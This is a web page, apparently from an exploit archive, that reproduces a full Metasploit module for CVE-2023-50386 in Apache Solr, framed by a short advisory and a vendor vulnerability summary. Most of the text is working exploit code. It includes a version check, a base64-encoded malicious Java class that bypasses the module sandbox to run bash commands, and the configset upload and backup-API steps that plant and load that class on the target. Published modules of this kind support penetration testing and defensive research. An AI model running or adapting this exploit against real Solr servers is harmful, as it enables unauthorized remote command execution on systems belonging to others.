Headline
Apache Solr Backup/Restore API Remote Code Execution
Apache Solr versions 6.0.0 through 8.11.2 and versions 9.0.0 up to 9.4.1 are affected by an unrestricted file upload vulnerability which can result in remote code execution in the context of the user running Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it. The backup function of the Collection can export malicious class files uploaded by attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Java include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::ApacheSolr def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Solr Backup/Restore APIs RCE', 'Description' => %q{ Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File with Dangerous Type vulnerability which can result in remote code execution in the context of the user running Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it. The backup function of the Collection can export malicious class files uploaded by attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution. }, 'Author' => [ 'l3yx', # discovery 'jheysel-r7' # module ], 'References' => [ [ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'], [ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'], [ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'], [ 'CVE', '2023-50386'] ], 'License' => MSF_LICENSE, 'Platform' => %w[unix linux], 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Unix Command', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD } ] ], 'Payload' => { 'BadChars' => "\x20" }, 'DefaultTarget' => 0, 'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp/' }, 'DisclosureDate' => '2024-02-24', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(8983), OptString.new('USERNAME', [false, 'Solr username', 'solr']), OptString.new('PASSWORD', [false, 'Solr password']), OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']), ] ) end # If authentication is used @auth_string = '' def check print_status('Running check method') auth_res = solr_check_auth unless auth_res return CheckCode::Unknown('Authentication failed!') end # convert to JSON ver_json = auth_res.get_json_document # get Solr version solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version']) print_status("Found Apache Solr #{solr_version}") # get OS version details @target_platform = ver_json['system']['name'] target_arch = ver_json['system']['arch'] target_osver = ver_json['system']['version'] print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}") unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) || solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0')) return CheckCode::Safe('Running version of Solr is not vulnerable!') end CheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}") end # This method returns the compiled byte code of the following class, SourceParser.java: # # package zk_backup_0.configs.confname; # # import sun.misc.Unsafe; # import java.io.BufferedReader; # import java.io.File; # import java.io.FileOutputStream; # import java.io.InputStreamReader; # import java.lang.reflect.Field; # import java.lang.reflect.Method; # import java.security.ProtectionDomain; # import java.util.Map; # # # public class SourceParser { # # static { # try { # Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe"); # unsafeField.setAccessible(true); # Unsafe unsafe = (Unsafe) unsafeField.get(null); # Module module = Object.class.getModule(); # Class<?> currentClass = SourceParser.class; # long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); # unsafe.getAndSetObject(currentClass, addr, module); # # String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" }; # Class clz = Class.forName("java.lang.ProcessImpl"); # Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); # method.setAccessible(true); # Process process = (Process) method.invoke(clz, cmd, null, null, null, false); # } catch (Exception e) { # e.printStackTrace(); # } # } # } def go_go_gadget(configuration1_name) gadget = '' gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW' gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv' gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh' gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll' gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P' gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh' gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy' gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh' gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv' gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq' gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE' gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv' gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu' gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls' gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM' gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s' gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK' gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW' gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P' gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh' gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj' gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs' gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph' gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp' gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA' gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM' gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1' gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD' gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC' gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA' gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk=' gadget = Rex::Text.decode_base64(gadget) # Replace 'confname' with our randomized 8 character configuration name gadget.sub!('confname', configuration1_name) # Replace the placeholder payload with our packed payload which is prefixed with it's size. gadget.sub!("\x00\x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded)) end def packed_payload(pload) "#{[pload.length].pack('n')}#{pload}" end def create_zip zip_file = Rex::Zip::Archive.new directory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf') Dir.glob(File.join(directory_to_zip, '**', '*')).each do |file_path| if File.file?(file_path) relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path file_contents = File.read(file_path) zip_file.add_file(relative_path, file_contents) elsif File.directory?(file_path) relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path zip_file.add_file(relative_path, nil, recursive: true) end end zip_file end def upload_conf(file_name, zip_archive, conf_name) mime = Rex::MIME::Message.new mime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename=\"#{file_name}\"") res = solr_post({ 'uri' => normalize_uri(target_uri.path, 'admin', 'configs'), 'method' => 'POST', 'ctype' => 'application/octet-stream', 'data' => zip_archive, 'auth' => @auth_string, 'vars_get' => { 'action' => 'UPLOAD', 'name' => conf_name } }) fail_with(Failure::UnexpectedReply, 'No response from the target') unless res fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200 data = res.get_json_document if data.dig('responseHeader', 'status') == 0 print_good('Uploaded configuration successfully') elsif data.dig('error', 'msg') fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}") else fail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target") end res end def create_collection(collection_name, configuration_name) solr_get({ 'uri' => normalize_uri(target_uri.path, 'admin', 'collections'), 'method' => 'GET', 'auth' => @auth_string, 'vars_get' => { 'action' => 'CREATE', 'name' => collection_name, 'numShards' => 1, 'replicationFactor' => 1, 'wt' => 'json', 'collection.configName' => configuration_name } }) end def backup_collection(collection_name, location, backup_name) res = solr_get({ 'uri' => normalize_uri(target_uri.path, 'admin', 'collections'), 'method' => 'GET', 'auth' => @auth_string, 'vars_get' => { 'action' => 'BACKUP', 'collection' => collection_name, 'location' => location, 'name' => backup_name } }) fail_with(Failure::UnexpectedReply, 'No response from the target') unless res data = res.get_json_document if data.dig('responseHeader', 'status') == 0 print_good('Backed up collection successfully') elsif data.dig('error', 'msg') fail_with(Failure::UnexpectedReply, "Failed to Backup configuration. Target responded with error: #{data['error']['msg']}") else fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully") end res end def cleanup print_status('Cleaning up...') # Clean up collections and configurations # Delete the collection first then the configs or you'll get the following error: # "Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]" if @collection_res&.code == 200 delete_collection_res = solr_get({ 'uri' => normalize_uri(target_uri.path, 'admin', 'collections'), 'method' => 'GET', 'auth' => @auth_string, 'vars_get' => { 'action' => 'DELETE', 'name' => @collection1_name } }) print_error("Unable to delete collection: #{@collection1_name}") unless delete_collection_res&.code == 200 end if @conf1_res&.code == 200 delete_conf1_res = solr_get({ 'uri' => normalize_uri(target_uri.path, 'admin', 'configs'), 'method' => 'GET', 'auth' => @auth_string, 'vars_get' => { 'action' => 'DELETE', 'name' => @configuration1_name } }) print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200 end if @conf2_res&.code == 200 delete_conf2_res = solr_get({ 'uri' => normalize_uri(target_uri.path, 'admin', 'configs'), 'method' => 'GET', 'auth' => @auth_string, 'vars_get' => { 'action' => 'DELETE', 'name' => @configuration2_name } }) print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200 end end def exploit @collection1_name = Rex::Text.rand_text_alpha(8) @configuration1_name = Rex::Text.rand_text_alpha_lower(8) @collection2_name = Rex::Text.rand_text_alpha(8) # Zip up conf1 conf1_zip = create_zip conf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name)) conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))) # Upload conf1 @conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name) # Create collection from conf1 @collection_res = create_collection(@collection1_name, @configuration1_name) fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_res data = @collection_res.get_json_document if @collection_res.code == 200 && data['responseHeader']['status'] == 0 vprint_good('Created collection successfully') elsif data['error']['msg'] fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}") else fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully") end # Backup collection and export conf1 location = '/var/solr/data/' backup_name = "#{@collection2_name}_shard1_replica_n1" backup_collection(@collection1_name, location, backup_name) # Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`: location = "/var/solr/data/#{backup_name}" backup_name = 'lib' backup_collection(@collection1_name, location, backup_name) # Zip up conf2 conf2_zip = create_zip editted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')) editted_solrconfig = editted_solrconfig.gsub('</config>', " <valueSourceParser name=\"myfunc\" class=\"zk_backup_0.configs.#{@configuration1_name}.SourceParser\" />\n</config>") conf2_zip.add_file('solrconfig.xml', editted_solrconfig) # Upload conf2 @configuration2_name = Rex::Text.rand_text_alpha(8) @conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name) # Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the # first conf1 which will then cause an error as it executes our malicious class (the collection does not get created) res = create_collection(@collection2_name, @configuration2_name) fail_with(Failure::UnexpectedReply, 'No response from the target') unless res data = res&.get_json_document if res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}" print_good('Successfully dropped the payload') else fail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully") end endend
Related news
Improper Control of Dynamically-Managed Code Resources, Unrestricted Upload of File with Dangerous Type, Inclusion of Functionality from Untrusted Control Sphere vulnerability in Apache Solr.This issue affects Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1. In the affected versions, Solr ConfigSets accepted Java jar and class files to be uploaded through the ConfigSets API. When backing up Solr Collections, these configSet files would be saved to disk when using the LocalFileSystemRepository (the default for backups). If the backup was saved to a directory that Solr uses in its ClassPath/ClassLoaders, then the jar and class files would be available to use with any ConfigSet, trusted or untrusted. When Solr is run in a secure way (Authorization enabled), as is strongly suggested, this vulnerability is limited to extending the Backup permissions with the ability to add libraries. Users are recommended to upgrade to version 8.11.3 or 9.4.1, which fix the issue. In these ...